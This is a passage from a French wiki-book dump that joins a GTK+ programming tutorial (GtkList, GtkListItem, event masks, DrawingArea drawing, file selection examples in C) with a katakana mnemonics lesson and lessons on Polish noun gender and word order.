Fenêtre à défilement pour placer le widget GtkList à l'intérieur. */ scrolled_window=gtk_scrolled_window_new(NULL, NULL); gtk_widget_set_usize(scrolled_window, 250, 150); gtk_container_add(GTK_CONTAINER(vbox), scrolled_window); gtk_widget_show(scrolled_window); /* Création du widget GtkList * Connexion du gestionnaire de signal sigh_print_selection() au signal * "selection_changed" du GtkList pour afficher les items sélectionnés * à chaque fois que la sélection change. */ gtklist=gtk_list_new(); gtk_container_add(GTK_CONTAINER(scrolled_window), gtklist); gtk_widget_show(gtklist); gtk_signal_connect(GTK_OBJECT(gtklist), "selection_changed", GTK_SIGNAL_FUNC(sigh_print_selection), NULL); /* Création d'une « Prison » pour y mettre un item. */ frame=gtk_frame_new("Prison"); gtk_widget_set_usize(frame, 200, 50); gtk_container_border_width(GTK_CONTAINER(frame), 5); gtk_frame_set_shadow_type(GTK_FRAME(frame), GTK_SHADOW_OUT); gtk_container_add(GTK_CONTAINER(vbox), frame); gtk_widget_show(frame); /* Connexion du gestionnaire de signal sigh_button_event() au signal * « mise au arrêts » des items du GtkList. */ gtk_signal_connect(GTK_OBJECT(gtklist), "button_release_event", GTK_SIGNAL_FUNC(sigh_button_event), frame); /* Création d'un séparateur. */ separator=gtk_hseparator_new(); gtk_container_add(GTK_CONTAINER(vbox), separator); gtk_widget_show(separator); /* Création d'un bouton et connexion de son signal "clicked" à la * destruction de la fenêtre. */ button=gtk_button_new_with_label("Fermeture"); gtk_container_add(GTK_CONTAINER(vbox), button); gtk_widget_show(button); gtk_signal_connect_object(GTK_OBJECT(button), "clicked", GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT(window)); /* Création de 5 items, chacun ayant son propre label. * Ajout de ceux-ci au GtkList en utilisant gtk_container_add(). * On interroge le texte du label et on l'associe avec * list_item_data_key à chaque item. */ for (i=0; i<5; i++) { GtkWidget *label; gchar *string; sprintf(buffer, "ListItemContainer avec Label #%d", i); label=gtk_label_new(buffer); list_item=gtk_list_item_new(); gtk_container_add(GTK_CONTAINER(list_item), label); gtk_widget_show(label); gtk_container_add(GTK_CONTAINER(gtklist), list_item); gtk_widget_show(list_item); gtk_label_get(GTK_LABEL(label), &string); gtk_object_set_data(GTK_OBJECT(list_item), list_item_data_key, string); } /* Création de 5 autres labels. Cette fois-ci, on utilise * gtk_list_item_new_with_label(). On ne peut interroger la chaîne * des labels car on n'a pas les pointeurs de labels et on associe * donc simplement le list_item_data_key de chaque item ayant la même * chaîne de texte pour l'ajouter au items que l'on place dans une liste * doublement chaînée (GList). On les ajoute alors par un simple appel à * gtk_list_append_items(). * Comme on utilise g_list_prepend() pour mettre les items dans la liste * doublement chaînée, leur ordre sera décroissant (au lieu d'être croissant si * on utilisait g_list_append()). */ dlist=NULL; for (; i<10; i++) { sprintf(buffer, "Item avec le label %d", i); list_item=gtk_list_item_new_with_label(buffer); dlist=g_list_prepend(dlist, list_item); gtk_widget_show(list_item); gtk_object_set_data(GTK_OBJECT(list_item), list_item_data_key, "Item avec label intégré"); } gtk_list_append_items(GTK_LIST(gtklist), dlist); /* Enfin, on veut voir la fenêtre... */ gtk_widget_show(window); /* Lancement de la boucle principale de gtk */ gtk_main(); /* On arrive ici après que gtk_main_quit() ait été appelée lorsque * la fenêtre principale a été détruite. */ } /* Gestionnaire de signal connecté aux événements boutons presser/relâcher * du GtkList. */ void sigh_button_event (GtkWidget *gtklist, GdkEventButton *event, GtkWidget *frame) { /* On ne fait quelque chose que si le troisième bouton (celui de droite) a été * relâché. */ if (event->type==GDK_BUTTON_RELEASE && event->button==3) { GList *dlist, *free_list; GtkWidget *new_prisoner; /* On recherche l'item sélectionné à ce moment précis. * Ce sera notre prisonnier ! */ dlist=GTK_LIST(gtklist)->selection; if (dlist) new_prisoner=GTK_WIDGET(dlist->data); else new_prisoner=NULL; /* On recherche les items déjà prisonniers et on les * remet dans la liste. * Il ne faut pas oublier de libérer la liste doublement * chaînée que gtk_container_children() retourne. */ dlist=gtk_container_children(GTK_CONTAINER(frame)); free_list=dlist; while (dlist) { GtkWidget *list_item; list_item=dlist->data; gtk_widget_reparent(list_item, gtklist); dlist=dlist->next; } g_list_free(free_list); /* Si l'on a un nouveau prisonnier, on l'ôte du GtkList et on le place * dans le cadre « Prison ». On doit désélectionner l'item avant. if (new_prisoner) { GList static_dlist; static_dlist.data=new_prisoner; static_dlist.next=NULL; static_dlist.prev=NULL; gtk_list_unselect_child(GTK_LIST(gtklist), new_prisoner); gtk_widget_reparent(new_prisoner, frame); } } } /* Gestionnaire de signal appelé lorsque le GtkList * émet le signal "selection_changed". */ void sigh_print_selection (GtkWidget *gtklist, gpointer func_data) { GList *dlist; /* Recherche dans la liste doublement chaînée des items sélectionnés * du GtkList, à faire en lecture seulement ! */ dlist=GTK_LIST(gtklist)->selection; /* S'il n'y a pas d'items sélectionné, il n'y a rien d'autre à faire que * de le dire à l'utilisateur. */ if (!dlist) { g_print("Sélection nettoyée\n"); return; } /* Ok, on a une sélection et on l'affiche. */ g_print("La sélection est "); /* On récupère l'item dans la liste doublement chaînée * puis on interroge la donnée associée par list_item_data_key * et on l'affiche. */ while (dlist) { GtkObject *list_item; gchar *item_data_string; list_item=GTK_OBJECT(dlist->data); item_data_string=gtk_object_get_data(list_item, list_item_data_key); g_print("%s ", item_data_string); dlist=dlist->next; } g_print("\n"); } Programmation GTK plus Widget item de liste 3496 15001 2005-05-07T11:47:52Z NSV 283 Le widget GtkListItem sert de container pour contenir un fils, lui fournissant des fonctions de sélection/déséselection exactement comme le widget GtkList les demande pour ses fils. Un GtkListItem a sa propre fenêtre pour recevoir les événements et a sa propre couleur de fond, habituellement blanche. Comme il est directement dérivé d'un GtkItem, il peut être traité comme tel en utilisant la macro GTK_ITEM(ListItem), reportez-vous à la section sur le widget GtkItem pour plus de détail sur celui-ci. Habituellement, un GtkListItem contient juste un label pour identifier, par exemple, un nom de fichier dans un GtkList -- la fonction appropriée gtk_list_item_new_with_label() est donc fournie. Le même effet peut être obtenu en créant un GtkLabel à part, en configurant son alignement avec xalign=0 et yalign=0.5 suivi d'un ajout ultérieur au GtkListItem. Tout comme on n'est pas forcé d'ajouter un GtkLabel à un GtkListItem, on peut aussi ajouter un GtkVBox ou un GtkArrow etc. à un GtkListItem. Programmation GTK plus Exemple1 3497 15002 2005-05-07T11:49:39Z NSV 283 L'exemple des GtkList couvre aussi l'utilisation des GtkListItem. Étudiez-le attentivement. Programmation GTK plus Fonctions1 3498 15003 2005-05-07T11:49:58Z NSV 283 guint gtk_list_item_get_type (void) Retourne l'identificateur du type « GtkListItem ». GtkWidget* gtk_list_item_new (void) Création d'un objet GtkListItem. Le nouveau widget est retourné sous la forme d'un pointeur vers un objet GtkWidget. NULL est retourné en cas d'erreur. GtkWidget* gtk_list_item_new_with_label (gchar *LABEL) Création d'un objet GtkListItem ayant un simple GtkLabel comme seul fils. Le nouveau widget est retourné sous la forme d'un pointeur vers un objet GtkWidget. NULL est retourné en cas d'erreur. void gtk_list_item_select (GtkListItem *LIST_ITEM) Cette fonction est surtout un emballage de gtk_item_select (GTK_ITEM (list_item)) qui émettra le signal GtkItem::select. Voir GtkItem::, pour plus d'informations. void gtk_list_item_deselect (GtkListItem *LIST_ITEM) Cette fonction est surtout un emballage de gtk_item_deselect (GTK_ITEM (list_item)) qui émettra le signal GtkItem::deselect. Voir GtkItem::, pour plus d'informations. GtkListItem* GTK_LIST_ITEM (gpointer OBJ) Convertit un pointeur générique en GtkListItem*. Voir Standard Macros:: pour plus d'informations. GtkListItemClass* GTK_LIST_ITEM_CLASS (gpointer CLASS) Convertit un pointeur générique en GtkListItemClass*. Voir Standard Macros:: pour plus d'informations. gint GTK_IS_LIST_ITEM (gpointer OBJ) Détermine si un pointeur générique se réfère à un objet GtkListItem. Voir Standard Macros:: pour plus d'informations. Programmation GTK plus Presentation 3499 15004 2005-05-07T11:54:58Z NSV 283 Dans cette section, nous construirons un programme simple de dessin. Ce faisant, nous examinerons comment gérer les événements souris, comment dessiner dans une fenêtre, et comment mieux dessiner en utilisant un pixmap en arrière plan. Après avoir créé ce programme, nous l'étendrons en lui ajoutant le support des périphériques Xinput, comme les tables de tracé. GTK dispose de routines de support qui facilitent beaucoup l'obtention des informations étendues (comme la pression et l'inclinaison du stylet) à partir de tels périphériques. Programmation GTK plus Gestion d'evenement 3500 15005 2005-05-07T11:55:11Z NSV 283 Les signaux GTK que nous avons déjà vus concernent les actions de haut niveau, comme la sélection d'un choix d'un menu. Cependant, il est quelques fois utile de connaître les cas de bas niveau, comme le déplacement de la souris, ou la pression d'une touche. Il existe aussi des signaux GTK correspondant à ces événements bas niveau. Les gestionnaires de ces signaux ont un paramètre supplémentaire qui est un pointeur vers une structure contenant des informations sur l'événement. Par exemple, les gestionnaires des événements de déplacement recoivent un paramètre vers une structure GdkEventMotion qui ressemble (en partie) à ceci&nbsp: struct _GdkEventMotion { GdkEventType type; GdkWindow *window; guint32 time; gdouble x; gdouble y; ... guint state; ... }; type sera initialisé avec le type de l'événement, ici GDK_MOTION_NOTIFY, window est la fenêtre dans laquelle l'événement est survenu. x et y donnent les coordonnées de l'événement et state spécifie l'état du modificateur lorsque l'événement s'est produit (c'est-à-dire quelles sont les touches de modification et les boutons souris qui ont été pressés). Il s'agit d'un OU bit à bit de l'une des valeurs suivantes&nbsp: GDK_SHIFT_MASK GDK_LOCK_MASK GDK_CONTROL_MASK GDK_MOD1_MASK GDK_MOD2_MASK GDK_MOD3_MASK GDK_MOD4_MASK GDK_MOD5_MASK GDK_BUTTON1_MASK GDK_BUTTON2_MASK GDK_BUTTON3_MASK GDK_BUTTON4_MASK GDK_BUTTON5_MASK Comme pour les autres signaux, on appelle gtk_signal_connect() pour déterminer ce qui se passe lorsqu'un événement survient. Mais nous devons aussi faire en sorte que GTK sache de quels événements nous voulons être avertis. Pour ce faire, on appelle la fonction&nbsp: void gtk_widget_set_events (GtkWidget *widget, gint events); Le deuxième champ spécifie les événements qui nous intéressent. Il s'agit d'un OU bit à bit de constantes qui indiquent différent types d'événements. Pour référence ultérieure, les types d'événements sont&nbsp: GDK_EXPOSURE_MASK GDK_POINTER_MOTION_MASK GDK_POINTER_MOTION_HINT_MASK GDK_BUTTON_MOTION_MASK GDK_BUTTON1_MOTION_MASK GDK_BUTTON2_MOTION_MASK GDK_BUTTON3_MOTION_MASK GDK_BUTTON_PRESS_MASK GDK_BUTTON_RELEASE_MASK GDK_KEY_PRESS_MASK GDK_KEY_RELEASE_MASK GDK_ENTER_NOTIFY_MASK GDK_LEAVE_NOTIFY_MASK GDK_FOCUS_CHANGE_MASK GDK_STRUCTURE_MASK GDK_PROPERTY_CHANGE_MASK GDK_PROXIMITY_IN_MASK GDK_PROXIMITY_OUT_MASK Il y a quelques points subtils qui doivent être observés lorsqu'on appelle gtk_widget_set_events(). D'abord, elle doit être appelée avant que la fenêtre X d'un widget GTK soit créée. En pratique, cela signifie que l'on doit l'appeler immédiatement après avoir créé le widget. Ensuite, le widget doit avoir une fenêtre X associée. Pour des raisons d'efficacité, de nombreux types de widgets n'ont pas de fenêtre propre, mais se dessinent dans la fenêtre de leur parent. Ces widgets sont&nbsp: GtkAlignment GtkArrow GtkBin GtkBox GtkImage GtkItem GtkLabel GtkPaned GtkPixmap GtkScrolledWindow GtkSeparator GtkTable GtkViewport GtkAspectFrame GtkFrame GtkVPaned GtkHPaned GtkVBox GtkHBox GtkVSeparator GtkHSeparator Pour capturer les événements pour ces widgets, on doit utiliser un widget EventBox. Voir la section sur Le widget EventBox pour plus de détails. Pour notre programme de dessin, on veut savoir quand le bouton de la souris est pressé et quand la souris est déplacée, nous indiquons donc GDK_POINTER_MOTION_MASK et GDK_BUTTON_PRESS_MASK. On veut aussi savoir quand il est nécessaire de redessiner notre fenêtre, on indique donc GDK_EXPOSURE_MASK. Bien que nous voulions être avertis via un événement Configure lorsque la taille de notre fenêtre change, on n'a pas besoin de préciser le flag GDK_STRUCTURE_MASK correspondant car il est automatiquement spécifié pour chaque fenêtre. Il arrive cependant qu'il puisse y avoir un problème en indiquant seulement GDK_POINTER_MOTION_MASK. Cela fera que le serveur ajoutera un nouvel événement de déplacement à la file des événements à chaque fois que l'utilisateur déplace la souris. Si cela nous prend 0,1 seconde pour gérer un événement de déplacement, si le serveur X n'ajoute un nouvel événement de déplacement dans la queue que toutes les 0,05 secondes, nous serons vite à la traîne de l'utilisateur. Si l'utilisateur dessine pendant 5 secondes, cela nous prendra 5 secondes de plus pour le traiter après qu'il ait relâché le bouton de la souris ! Ce que l'on voudrait, c'est ne récupérer qu'un événement de déplacement pour chaque événement que l'on traite. Pour cela, il faut préciser GDK_POINTER_MOTION_HINT_MASK. Avec GDK_POINTER_MOTION_HINT_MASK, le serveur nous envoit un événement de déplacement la première fois que la pointeur se déplace après être entré dans la fenêtre, ou après un événement d'appui ou de relâchement d'un bouton. Les événements de déplacement suivants seront supprimés jusqu'à ce que l'on demande explicitement la position du pointeur en utilisant la fonction&nbsp: GdkWindow* gdk_window_get_pointer (GdkWindow *window, gint *x, gint *y, GdkModifierType *mask); (Il existe une autre fonction, gtk_widget_get_pointer() qui possède une interface simple, mais n'est pas très utile car elle ne fait que récupérer la position de la souris et ne se préoccupe pas de savoir si les boutons sont pressés). Le code pour configurer les événements pour notre fenêtre ressemble alors à&nbsp: gtk_signal_connect (GTK_OBJECT (drawing_area), "expose_event", (GtkSignalFunc) expose_event, NULL); gtk_signal_connect (GTK_OBJECT(drawing_area),"configure_event", (GtkSignalFunc) configure_event, NULL); gtk_signal_connect (GTK_OBJECT (drawing_area), "motion_notify_event", (GtkSignalFunc) motion_notify_event, NULL); gtk_signal_connect (GTK_OBJECT (drawing_area), "button_press_event", (GtkSignalFunc) button_press_event, NULL); gtk_widget_set_events (drawing_area, GDK_EXPOSURE_MASK | GDK_LEAVE_NOTIFY_MASK | GDK_BUTTON_PRESS_MASK | GDK_POINTER_MOTION_MASK | GDK_POINTER_MOTION_HINT_MASK); Nous garderons les gestionnaires de "expose_event" et "configure_event" pour plus tard. Les gestionnaires de "motion_notify_event" et "button_press_event" sont très simples&nbsp: static gint button_press_event (GtkWidget *widget, GdkEventButton *event) { if (event->button == 1 && pixmap != NULL) draw_brush (widget, event->x, event->y); return TRUE; } static gint motion_notify_event (GtkWidget *widget, GdkEventMotion *event) { int x, y; GdkModifierType state; if (event->is_hint) gdk_window_get_pointer (event->window, &x, &y, &state); else { x = event->x; y = event->y; state = event->state; } if (state & GDK_BUTTON1_MASK && pixmap != NULL) draw_brush (widget, x, y); return TRUE; } Programmation GTK plus Le widget DrawingArea et le dessin 3501 29789 2006-01-21T23:45:52Z 82.240.105.200 ~forme Revenons au processus de dessin sur l'écran. Le widget que l'on utilise pour ceci est le widget DrawingArea. Un tel widget est essentiellement une fenêtre X et rien de plus. Il s'agit d'une toile vide sur laquelle nous pouvons dessiner ce que nous voulons. Une zone de dessin est créée avec l'appel : GtkWidget* gtk_drawing_area_new (void); Une taille par défaut peut être donnée au widget par l'appel : void gtk_drawing_area_size (GtkDrawingArea *darea, gint width, gint height); Cette taille par défaut peu être surchargée en appelant gtk_widget_set_usize() et celle-ci, à son tour, peut être surchargée si l'utilisateur modifie manuellement la taille de la fenêtre contenant la zone de dessin. Il faut noter que lorsque l'on crée un widget DrawingArea, nous sommes complètement responsable du dessin du contenu. Si notre fenêtre est cachée puis redécouverte, nous recevrons un événement d'exposition et devrons redessiner ce qui a été caché auparavant. Devoir se rappeler tout ce qui a été dessiné à l'écran pour pouvoir correctement le redessiner peut s'avérer, c'est le moins que l'on puisse dire, pénible. De plus, cela peut être visible si des portions de la fenêtre sont effacées puis redessinées étape par étape. La solution à ce problème est d'utiliser un pixmap d'arrière-plan qui n'est pas sur l'écran. Au lieu de dessiner directement à l'écran, on dessine sur une image stockée dans la mémoire du serveur et qui n'est pas affichée, puis, lorsque l'image change ou lorsque de nouvelles portions de l'image sont affichées, on copie les parties adéquates sur l'écran. Pour créer un pixmap mémoire, on appelle la fonction&nbsp: GdkPixmap* gdk_pixmap_new (GdkWindow *window, gint width, gint height, gint depth); Le paramètre windows indique une fenêtre GTK de laquelle ce pixmap tire certaines de ses propriétés. width et height précisent la taille du pixmap. depth précise la profondeur de couleur, c'est-à-dire le nombre de bits par pixel, de la nouvelle fenêtre. Si cette profondeur vaut -1, elle correspondra à celle de window. Nous créons le pixmap dans notre gestionnaire "configure_event". Cet événement est généré à chaque fois que la fenêtre change de taille, y compris lorsqu'elle initialement créée. /* Pixmap d'arrière-plan pour la zone de dessin */ static GdkPixmap *pixmap = NULL; /* Création d'un nouveau pixmap d'arrière-plan de la taille voulue */ static gint configure_event (GtkWidget *widget, GdkEventConfigure *event) { if (pixmap) { gdk_pixmap_destroy(pixmap); } pixmap = gdk_pixmap_new(widget->window, widget->allocation.width, widget->allocation.height, -1); gdk_draw_rectangle (pixmap, widget->style->white_gc, TRUE, 0, 0, widget->allocation.width, widget->allocation.height); return TRUE; } L'appel à gdk_draw_rectangle() remet le pixmap à blanc. Nous en dirons un peu plus dans un moment. Notre gestionnaire d'événement d'exposition copie alors simplement la partie concernées du pixmap sur l'écran (on détermine la zone qu'il faut redessiner en utilisant le champ event->area de l'événement d'exposition)&nbsp: /* Remplit l'écran à partir du pixmap d'arrière-plan */ static gint expose_event (GtkWidget *widget, GdkEventExpose *event) { gdk_draw_pixmap(widget->window, widget->style->fg_gc[GTK_WIDGET_STATE (widget)], pixmap, event->area.x, event->area.y, event->area.x, event->area.y, event->area.width, event->area.height); return FALSE; } Nous avons vu comment garder l'écran à jour avec notre pixmap, mais comment dessine-t-on réellement ce que l'on veut dans le pixmap ? Il existe un grand nombre d'appels dans la bibliothèque GDK de GTK pour dessiner sur des dessinables. Un dessinable est simplement quelque chose sur lequel on peut dessiner. Cela peut être une fenêtre, un pixmap, ou un bitmap (une image en noir et blanc). Nous avons déjà vu plus haut deux de ces appels, gdk_draw_rectangle() et gdk_draw_pixmap(). La liste complète est : *gdk_draw_line () *gdk_draw_rectangle () *gdk_draw_arc () *gdk_draw_polygon () *gdk_draw_string () *gdk_draw_text () *gdk_draw_pixmap () *gdk_draw_bitmap () *gdk_draw_image () *gdk_draw_points () *gdk_draw_segments () Consultez la documentation de référence ou le fichier en-tête <gdkgdk.h>/ pour plus de détails sur ces fonctions. Celles-ci partagent toutes les mêmes deux paramêtres. Le premier est le dessinable sur lequel dessiner, le second est un contexte graphique (GC). Un contexte graphique encapsule l'information sur des choses comme les couleurs de premier et d'arrière plan et la largeur de ligne. GDK possède un ensemble complet de fonctions pour créer et manipuler les contextes graphiques, mais, pour simplifier, nous n'utiliserons que les contextes graphiques prédéfinis. Chaque widget a un style associé (qui peut être modifié dans un fichier gtkrc, voir la section sur les fichiers rc de GTK). Celui-ci, entre autres choses, stocke plusieurs contextes graphiques. Quelques exemples d'accès à ces contextes sont : *widget->style->white_gc *widget->style->black_gc *widget->style->fg_gc[GTK_STATE_NORMAL] *widget->style->bg_gc[GTK_WIDGET_STATE(widget)] Les champs fg_gc, bg_gc, dark_gc et light_gc sont indexés par un paramètre de type GtkStateType qui peut prendre les valeurs&nbsp: *GTK_STATE_NORMAL, *GTK_STATE_ACTIVE, *GTK_STATE_PRELIGHT, *GTK_STATE_SELECTED, *GTK_STATE_INSENSITIVE Par exemple, pour GTK_STATE_SELECTED, la couleur de premier plan par défaut est blanc et la couleur d'arrière plan par défaut est bleu foncé. Notre fonction draw_brush(), qui réalise le dessin à l'écran est alors : /* Dessine un rectangle à l'écran */ static void draw_brush (GtkWidget *widget, gdouble x, gdouble y) { GdkRectangle update_rect; update_rect.x = x - 5; update_rect.y = y - 5; update_rect.width = 10; update_rect.height = 10; gdk_draw_rectangle (pixmap, widget->style->black_gc, TRUE, update_rect.x, update_rect.y, update_rect.width, update_rect.height); gtk_widget_draw (widget, &update_rect); } Après avoir dessiné le rectangle représentant la brosse sur le pixmap, nous appelons la fonction&nbsp: void gtk_widget_draw (GtkWidget *widget, GdkRectangle *area); qui indique à X que la zone donnée par le paramètre area a besoin d'être mise à jour. X génèrera éventuellement un événement d'exposition (en combinant peut-être les zones passés dans plusieurs appels à gtk_widget_draw()) ce qui forcera notre gestionnaire d'événement d'exposition à copier les parties adéquates à l'écran. Nous avons maintenant couvert entièrement le programme de dessin, sauf quelques détails banals comme la création de la fenêtre principale. Le code source complet est disponible à l'endroit où vous avez obtenu ce didacticiel. Programmation GTK plus Widgets sélections de fichiers 3502 15007 2005-05-07T11:56:08Z NSV 283 Le widget sélection de fichier est un moyen simple et rapide pour afficher un fichier dans une boîte de dialogue. Il est complet, avec des boutons Ok, Annuler et Aide. C'est un bon moyen de raccourcir les temps de programmation. Pour créer une boîte de sélection de fichier, on utilise&nbsp: GtkWidget* gtk_file_selection_new (gchar *title); Pour configurer le nom de fichier, par exemple pour aller dans un répertoire précis ou donner un nom de fichier par défaut, on utilise la fonction&nbsp: void gtk_file_selection_set_filename (GtkFileSelection *filesel, gchar *filename); Pour récupérer le texte que l'utilisateur a entré, ou sur lequel il a cliqué, on utilisera la fonction&nbsp: gchar* gtk_file_selection_get_filename (GtkFileSelection *filesel); Des pointeurs permettent d'accéder aux widgets contenus dans la widget de sélection de fichiers. Ce sont&nbsp: * dir_list * file_list * selection_entry * selection_text * main_vbox * ok_button * cancel_button * help_button Le plus souvent, on utilise les pointeurs ok_button, cancel_button, et help_button pour préciser leurs utilisations. Voici un exemple emprunté à testgtk.c et modifié pour fonctionner tout seul. Comme vous le verrez, il n'y a pas grand chose à faire pour créer un wigdget de sélection de fichier. Cependant, dans cet exemple, si le bouton Aide apparaît à l'écran, il ne fait rien car aucun signal ne lui est attaché. #include <gtk/gtk.h> /* Récupère le nom de fichier sélectionné et l'affiche sur la console. */ void file_ok_sel (GtkWidget *w, GtkFileSelection *fs) { g_print ("%s\n", gtk_file_selection_get_filename (GTK_FILE_SELECTION (fs))); } void destroy (GtkWidget *widget, gpointer *data) { gtk_main_quit (); } int main (int argc, char *argv[]) { GtkWidget *filew; gtk_init (&argc, &argv); /* Création d'un widget de sélection de fichier. */ filew = gtk_file_selection_new ("File selection"); gtk_signal_connect (GTK_OBJECT (filew), "destroy", (GtkSignalFunc) destroy, &filew); /* Connexion de ok_button à la fonction file_ok_sel() */ gtk_signal_connect (GTK_OBJECT (GTK_FILE_SELECTION (filew)->ok_button), "clicked", (GtkSignalFunc) file_ok_sel, filew ); /* Connexion de cancel_button pour détruire le widget */ gtk_signal_connect_object (GTK_OBJECT (GTK_FILE_SELECTION (filew)->cancel_button), "clicked", (GtkSignalFunc) gtk_widget_destroy, GTK_OBJECT (filew)); /* Configuration du nom de fichier, comme s'il s'agissait d'un dialogue de * sauvegarde et que nous donnions un nom de fichier par défaut. */ gtk_file_selection_set_filename (GTK_FILE_SELECTION(filew), "penguin.png"); gtk_widget_show(filew); gtk_main (); return 0; } Japonais:Lecon Katakana 2 3503 42597 2006-05-17T09:58:27Z 86.195.141.125 /* Catégorie N°6 : l'un appelle l'autre */ = le tableau = regardons ceux qu'il nous reste .. {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | | | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | | | <big>ク</big> | | |- ! s | <big>サ</big> | | <big>ス</big> | | |- ! t | <big>タ</big> | | | | <big>ト</big> |- !n | <big>ナ</big> | <big>ニ</big> | | <big>ネ</big> | |- ! h | | <big>ヒ</big> | <big>フ</big> | | <big>ホ</big> |- ! m | <big>マ<big> | | <big>ム<big> | <big>メ<big> | |- ! y | | | <big>ユ</big> | | <big>ヨ</big> |- ! r | <big>ラ</big> | | <big>ル</big> | <big>レ</big> | <big>ロ</big> |- ! w | <big>ワ</big> | | | | <big>ヲ</big> |} = Ne déprimons pas ! = on peut encore essayer de trier .. = Catégorie N°5 : il ressemble au hiragana bis = Ils ressemblent pas exactemement au hiragana .. mais à un morceau ou avec un peu morphing *ナ *ニ *メ *ウ *ワ *ラ *ユ = Catégorie N°6 : l'un appelle l'autre = *ル la queue et les jambe d'un kangou'''rou''' *レ coupe la patte du kangourou, cela donne un animal qui ne '''re'''ssemble à rien *マ une poitrine de '''ma'''man *ム pareil que '''ma''' mais dans l'autre sens, c'est une vache qui fait '''muu'''.. = Catégorie N°7 : En vrac = ici gisent ceux qui ne peuvent étre classé *ス *ヒ '''Hi''ps .. le bonhomme assis est complétement saoul, il porte un toast : Kampaï !!! *ネ '''Ne'''ttoyer, ce signe représente une brosse pour nettoyer les toilettes *エ Les Deux porte d'un '''é'''lévateur *ト S'''to'''p , l'agent de police lève le bras pour arrêter les voitures *ロ le carré est un cercle vicieux, donc c'est '''ro'''nd *ホ '''Ho'''t le bonhomme transpire énormément ''(les gouttes de chaque coté)'' dessous les bras *オ '''O''' Là le vieux monsieur s'appuie sur une canne, remarquez qu'il y a un trait en moins par rapport à Ho, il y a donc une lettre en moins. = les Orphelins = les plus malheureux, je n'ai même pas un truc à vous proposer *タ ta *サ sa *ク ku *フ fu *ヨ yo = Conclusion = Image:Icone cuisine.jpg 3504 15009 2005-05-07T13:08:21Z Weft 169 ==Description== Cartouche destiné à la série cuisine hv:ku:b:kb ==Source== Image composée par [[Utilisateur:Nataraja|Nataraja]] à partir d'une photo libre de droit de http://www.sxc.hu/ (''There are no usage restrictions for this photo.'') ==Statu ==Description== Cartouche destiné à la série cuisine hv:ku:b:kb ==Source== Image composée par [[Utilisateur:Nataraja|Nataraja]] à partir d'une photo libre de droit de http://www.sxc.hu/ (''There are no usage restrictions for this photo.'') ==Statut== GFDL pour la composition. L'auteur de la photo originale garde ses droits. {{GFDL}} Polonais:Phrases polonaises de base 2 3505 42669 2006-05-17T15:32:41Z 86.202.85.93 [[en:Polish:Basic Polish sentences 2]] [[Polonais:Prononciation polonaise|< prononciation polonaise <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Plus sur les noms - genres|> Plus sur les noms - genres >]] ---- Il existe deux nombres en polonais - singulier et pluriel. Il existe quelques surprises ici. Il existe cinq genres en polonais : féminin, neutre, masculin personnel, masculin animé et masculin inanimé. A la différence de l'allemand, et plus proche de l'italien, il est généralement possible de déterminer le genre en examinant la fin du nom et son sens. * Les noms qui finissent en "-a" sont généralement féminins. ** Les mots qui finissent par "-ista" (comme "komunista" - communiste) qui sont des masculin personnels forment des exceptions. ** Ainsi que les mots qui finissent par "-awca"/"-owca" (comme "sprzedawca" - homme d'affaire, "kierowca" - conducteur) qui sont aussi des masculin personnels. ** Un mot à noter particulièrement est "mężczyzna" qui veut dire personne masculine adulte, qui est évidemment masculin personnel. ** Quelques autres mots masculins, comme "tata" (papa), "poeta" (poète), "sędzia" (juge). ** Bien qu'ils ne soient pas féminins, leurs déclinaisons est quelque peu similaire aux noms féminins qui finissent par "-a". * Les noms qui finissent par "-o" sont généralement neutres. ** comme ''dziecko'' (enfant) ou ''zawiniątko'' (emballage) * Les noms qui finissent par "-ść" sont généralement féminins. ** Ce sont souvent des noms abstraits, comme "miłość" (amour, à partir de l'adjectif "miły" - gentil, aimé) et "wysokość" (hauteur, à partir de l'adjectif "wysoki" - haut) * Beaucoup d'autres noms qui finissent par une consonne sont masculins, et leurs genres exacts sont en accord avec leurs sens. Les exceptions les plus communes sont les noms qui sont masculins animés qui ne sont pas réellement animés, précisément dans la langue parlée. * Les noms qui finissent par "e", "i" ou "u" dans le nominatif singulier sont rares et sont principalement d'origine étrangère. Maintenant quelques exemples : <table border=1> <tr><th>Genre<th>Sens<th>Nominatif<th>Accusatif <tr><td>Féminin<td>Café<td>Kawa<td>Kawę <tr><td>Neutre<td>Lait<td>Mleko<td>Mleko <tr><td>Masculin personnel<td>Adam (nom masculin)<td>Adam<td>Adama <tr><td>Masculin animé<td>Chat<td>Kot<td>Kota <tr><td>Masculin inanimé<td>Ordinateur<td>Komputer<td>Komputer </table> * "Adam pije kawę" - Adam boit un café * "Ala widzi Adama" - Ala voit Adam * "Kot pije mleko" - Un chat boit du lait * "Adam widzi kota" - Adam voit un chat * "Adam ma komputer" - Adam a un ordinateur ---- [[Polonais:Prononciation polonaise|< prononciation polonaise <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Plus sur les noms - genres|> Plus sur les noms - genres >]] Polonais:Plus sur les noms - genres 3506 19003 2005-08-12T21:15:51Z Slipkorn 451 [[en:Polish:Basic polish sentences 2]] [[Polonais:Phrases polonaises de base 2|< Phrases polonaises de base 2 <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Ordre des mots dans une phrase|> Ordre des mots dans une phrase >]] ---- En polonais, il est possible de déplacer les mots dans la phrase, et d'enlever le sujet ou l'objet si ils sont évident dans le contexte. Ces phrases veulent dire de manière simple la même chose "Ala a un chat", bien qu'ils soient utilisés dans des contextes différents : * Ala ma kota (simple constatation) * Ala kota ma (c'est un chat qu'Ala possède) * Kota ma Ala (c'est Ala qui possède un chat) * Ma Ala kota * Kota Ala ma (l'action "possède" est emphatique) * Ma kota Ala Seule la première phrase sonne naturelle en polonais, les autres devraient être utilisées dans un contexte emphatique. S'ils sont apparents à partir du contexte, vous pouvez enlever le sujet, l'objet et même le verbe : * Ma kota - peut être utilisé si l'on connait la personne qui parle de manière évidente. * Ma - réponse pour "Czy Ala ma kota ?" (Ala a-t'il un chat ?) * Ala - réponse pour "Kto ma kota ?" (qui a un chat ?) * Kota - réponse pour "Co ma Ala ?" (que possède Ala ?) * Ala ma - ceci sonne moins naturel. Il y a une tendance en polonais d'enlever le sujet plutôt que l'objet et rarement vous connaissez l'objet mais pas le sujet. Si la question était "Kto ma kota ?" (qui a un chat ?), la 